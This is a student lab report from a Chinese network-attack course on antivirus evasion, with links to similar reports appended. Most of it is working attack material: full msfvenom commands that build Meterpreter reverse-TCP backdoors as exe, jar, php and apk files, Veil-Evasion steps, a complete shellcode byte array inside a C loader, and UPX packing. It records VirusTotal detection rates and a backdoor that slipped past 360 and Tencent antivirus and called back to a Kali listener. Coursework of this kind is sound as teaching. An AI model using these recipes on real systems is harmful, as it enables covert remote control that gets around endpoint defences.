2019-2020-2 20175309刘雨恒 《网络对抗技术》EXP3免杀原理与实践

一、实验任务

(一)实验内容

1.1方法:

· 正确使用msf编码器

·msfvenom生成如jar之类的其他文件

·veil

·使用C + shellcode编程

·加壳工具

·使用其他课堂未介绍方法

1.2 通过组合应用各种技术实现恶意代码免杀

1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

(二)基础知识

1.恶意检测机制

1.1基于特征码的检测

·简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。

·AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。(这里的AV(Anti-virus)指恶意软件检测工具,即我们常说的杀毒软件。)

1.2启发式恶意软件检测

·简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件 吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。

·优点:

·可以检测0-day恶意软件

·具有一定通用性

·缺点:

·实时监控系统行为,开销稍多

·没有基于特征码的精确度高

1.3基于行为的而已软件检测

·最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

2.免杀

定义:免杀就是让安插的后门不被AV软件发现。

实现方法:

(1)改变特征码

·如果你手里只有EXE

·加壳:压缩壳 加密壳

·有shellcode(像Meterpreter)

·用encode进行编码

·基于payload重新编译生成可执行文件

·有源代码

·用其他语言进行重写再编译(veil-evasion)

(2)改变行为

·通讯方式

·尽量使用反弹式连接

·使用隧道技术

·加密通讯数据

·操作模式

·基于内存操作

·减少对系统的修改

·加入混淆作用的正常功能代码

(3)非常规方法

·使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。

·使用社工类攻击,诱骗目标关闭AV软件。

·纯手工打造一个恶意软件

二、实验步骤

1.正确使用msf编码器

·生成一次编码的后门程序

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00‘ LHOST=192.168.95.128 LPORT=5309 -f exe > exp3.exe

·用VirusTotal检查一下,发现71种检测软件中56个检测出来了,效果很差。

·那我们来试一下如果生成十次编码的后门程序会怎么样

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00‘ LHOST=192.168.95.128 LPORT=5309 -f exe > encoded10.exe

·继续检测,57/72,em......好像被检测出来的概率更大了?

2.msfvenom生成如jar之类的其他文件

·换一种方式,生成jar形式的程序

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.95.128 LPORT=5309 x> 20175309jar.jar

·继续检测,20/56,检测概率明显降低,效果不错。

·再换一种php形式的程序

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.95.128 LPORT=5309 x> 20175309php.php

·检测结果:3/59,几乎可以骗过所有的AV,效果非常好。

·那如果攻击移动端的手机呢?生成一个apk来试水Android怎么样?(IOS想实现这个基本不可能)

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.95.128 LPORT=5309 x> 20175309apk.apk

·检测结果25/62,效果不如前两个,但是也比exe型的强多了。

3.veil

·想使用veil必须要先装好,安装很简单,输入命令sudo apt-get install veil进行在线安装就ok,中间无脑按y,需要很长时间,只要不出现error就成功了。

·输入veil进入veil(类似于debug),之后输入use evasion进入Veil-Evasion

·输入use c/meterpreter/rev_tcp.py进入配置页面

·设置反弹连接IP:set LHOST 192.168.95.128

·设置端口:set LPORT 5309

·输入命令generate生成程序并命名,程序保存的路径已经被标识出来了

·接下来就是激动人心的检测时刻,看看我们费老鼻子劲搞出来的程序怎么样。

·46/72?约等于白忙活一通,不过比之前直接生成的概率还是降低了一些的,可喜可贺。

4.使用C + shellcode编程

·试试我们之前实验用过的老套路。生成shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.95.128 LPORT=5309 -f -c

·创建一个c文件,注入shellcode

unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x7a\x88"
"\x68\x02\x00\x14\xc5\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
    int (*func)() = (int(*)())buf;
    func();
}

·使用命令i686-w64-mingw32-g++ 5309.c -o 5309.exe生成可执行后门程序

·又到了检测的环节,看看我们换了一种新的方法又费了那么功夫搞出来的东西怎么样

·还是46/72???我好像被耍了。。。

5.加壳工具

·既然这些还不行,那么我们就改装病毒,给他加一个保护壳,类似于打仗时狙击手为了隐藏自己所穿的吉利服一样,以期待用这种方式混过检查。

·使用命令upx 5309.exe -o 5309pro.exe给刚才生成的程序加壳,并取名为5309pro。

·这次再来检测一下。

·虽然提升幅度不大,但是至少起作用了。

6.其他方法

·再换一种其他的方式看看效果如何。

·进入Veil-Evasion,输入list查看有用的荷载

·这里选择第32个,大概是在python环境下用des算法处理病毒

·输入generate生成程序,并选择2:msfvenom

·按tab键自动获取payload和IP,端口号自行输入即可。

·之后输入文件名(这里手滑命名为了6),并继续输入2

·进入目录找到xxx.py文件就是已经生成的后门文件

·之后就是熟悉的检测了

·这次终于皇天不负有心人,只有Microsoft检测了出来,其他全部通过,效果完美。

7.通过组合应用各种技术实现恶意代码免杀

·主机环境:win10 杀毒软件:腾讯电脑管家13.5

·这里继续使用了shellcode注入技术,生成了一个新的程序。

·之后进行加壳处理。

·通过共享文件夹分享给了主机win10,进行病毒查杀

·杀毒软件并没有发现它的存在

8.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

·主机环境:win7企业版 杀毒软件:360安全卫士12

·kali上将后门程序lyhnb发送到win7上

·进入exploit开始监听,win7打开程序回连

·kali成功获得win7的操控权,win7那边后门程序开启的情况下成功规避杀毒软件的检查。

三、实验感想

最大的感受就是终于可以搞出来一个可以规避杀毒软件的后门程序了,不用再像以前那样关闭重重阻碍(防火墙、杀毒软件)才能实现自己应有的效果。

不过很清楚自己的水平十分有限,如果接下来的杀毒软件继续更新下去我们生成的后门程序一定会被检测并清除掉,所以学好本领制作更高级的程序以逃避杀毒软件的检测是我们不懈努力的目标。

四、回答问题

(1)杀软是如何检测出恶意代码的?

答:现在应用最多的就是基于特征码的检测。如果这个程序中的某段代码与杀毒软件自带的特征码库里的代码匹配上了,则认为这是恶意代码并清除。

未来的趋势便是启发式检测,杀毒软件自己判断某个程序正在进行的行为类似于恶意软件,从而进行杀毒,有点人工智能的味道,需要更多的学习。优点是防患于未然,缺点则是容易滥杀无辜。

(2)免杀是做什么?

答:用技术手段使得非法程序免于被杀毒软件检测清除。

(3)免杀的基本方法有哪些?

答:改变特征码:加壳(压缩壳、加密壳)、用encode进行编码、基于payload重新编译生成可执行文件、用其他语言进行重写再编译(veil-evasion)

改变行为:通讯方式(使用反弹式连接、使用隧道技术、加密通讯数据)、操作模式(基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码)

非常规方法:使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中、使用社工类攻击,诱骗目标关闭AV软件、纯手工打造一个恶意软件。

(4)开启杀软能绝对防止电脑中恶意代码吗?

答:本来以为能的,结果这次实验发现杀毒软件也不能保证百分之百防止恶意代码,毕竟杀毒软件也是需要逐步完善和升级的。

原文地址:https://www.cnblogs.com/20175309lyh/p/12602014.html

时间: 2024-08-01 02:45:29

2019-2020-2 20175309刘雨恒 《网络对抗技术》EXP3免杀原理与实践的相关文章

2019-2020-2 20175208 张家华 网络对抗技术 Exp3 免杀原理与实践

实验内容 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具.使用C + shellcode编程或使用其他课堂未介绍方法自己利用shellcode编程等免杀工具或技巧 2.通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图.与杀软共生的结果验证要截图.) 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本 实验过程 实验准备即相关知识 VirusTotal.Virscan 集

2018~2019-4 20165107 网络对抗技术 Exp3 免杀原理与实践

20165107 Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,自己利用shellcode编程等免杀工具或技巧 2.通过组合应用各种技术实现恶意代码免杀 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测:我们发现某类恶意代码经常出现的一段或多段代码,而且是其他正常程序没有的,这段或多段数据即特征码.如

20145309《网络对抗技术》免杀原理与实践

20145309<网络对抗技术>免杀原理与实践 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 根据特征来检测:对已存在的流行代码特征的提取与比对根据行为来检测:是否有更改注册表行为.是否有设置自启动.是否有修改权限等等 (2)免杀是做什么? 使用一些方法使得恶意程序不被杀软和防火墙发现,避免被查杀. (3)免杀的基本方法有哪些? 加壳:就是相当于把你的后门代码封装起来,但是现在大部分公开的壳都能被杀毒软件查出来,所以加这些壳还不如不加:加花指令:就是加一段垃圾代码,但是并不影响程序的正

20154307《网络对抗》Exp3 免杀原理与实践

20154307<网络对抗>Exp3 免杀原理与实践 一.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测:杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件. 启发式恶意软件检测 基于行为的恶意软件检测:检测程序是否会有一些恶意行为,如修改注册表,更改权限等等.. (2)免杀是做什么? 让攻击程序不被杀软查杀 (3)免杀的基本方法有哪些? 加壳 改变特征码 二.实践内容 1.使用msf生成后门程序的检测 由于上一个实验我们已经用msf生成了一

20155218《网络对抗》Exp3 免杀原理与实践

20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时对它多编码1次并进行测试 发现能发现的杀软变少: (3)使用msf时对它多编码10次并进行测试 编码10次后,发现可以查杀的杀软数量仅仅减少了一个: 二.使用veil-evasion生成后门程序的检测 通过list查看功能,选用22命令 生成文件: 测试结果: 显而易见,效果并不理想: 三.利用shellco

20155232《网络对抗》Exp3 免杀原理与实践

20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执行文件(或其他运行的库.脚本等)包含这样的数据则被认为是恶意代码. 启发式恶意软件检测 根据些片面特征去推断. 通用性,不精确. 基于行为的恶意软件检测 修改文件硬盘.连接恶意网站.修改注册表 (2)免杀是做什么? 通过一些手段来瞒过杀软的检测扫描.避免被杀毒软件查杀. (3)免杀的基本方法有哪些? 改变特征

20155302《网络对抗》Exp3 免杀原理与实践

20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧:(1.5分) 2.通过组合应用各种技术实现恶意代码免杀(1分) (如果成功实现了免杀的,简单语言描述原理,不要截图.与杀软共生的结果验证要截图.) 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分) 实验内容 报告评分 1.5分报告整体观感 0.5分

20155338《网络对抗》Exp3 免杀原理与实践

20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.org/上进行扫描,有48%的杀软报告病毒. 二.使用msf编码器 编码一次,在Kali输入命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=kali的IP LPORT=533

20155330 《网络攻防》 Exp3 免杀原理与实践

20155330 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征码.先对流行代码特征的提取,然后进行程序的比对,如果也检测到相应的特征码的程序即为检测出恶意代码. 基于行为.杀软通过检测程序是否有更改注册表行为.是否有设置自启动.是否有修改权限等等行为进行判断. 免杀是做什么? 恶意代码避免杀毒软件查杀,从而实现入侵. 免杀的基本方法有哪些? 对恶意代码进行加壳 利用shellcode进行编码 实践过程记录 使用msf生成后门程序的检测 将实验二中

20165101刘天野 2018-2019-2《网络对抗技术》Exp3 免杀原理与实践

20165101刘天野 2018-2019-2<网络对抗技术>Exp3 免杀原理与实践 1. 实践内容 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧 1.1.1 使用msf编码器 输入命令msfvenom -h可查看相关用法: 编码一次命令如下(用-e参数编码 用-b参数去除坏字符'\00'): msfvenom -p windows/meterpreter/reverse_tcp -e x8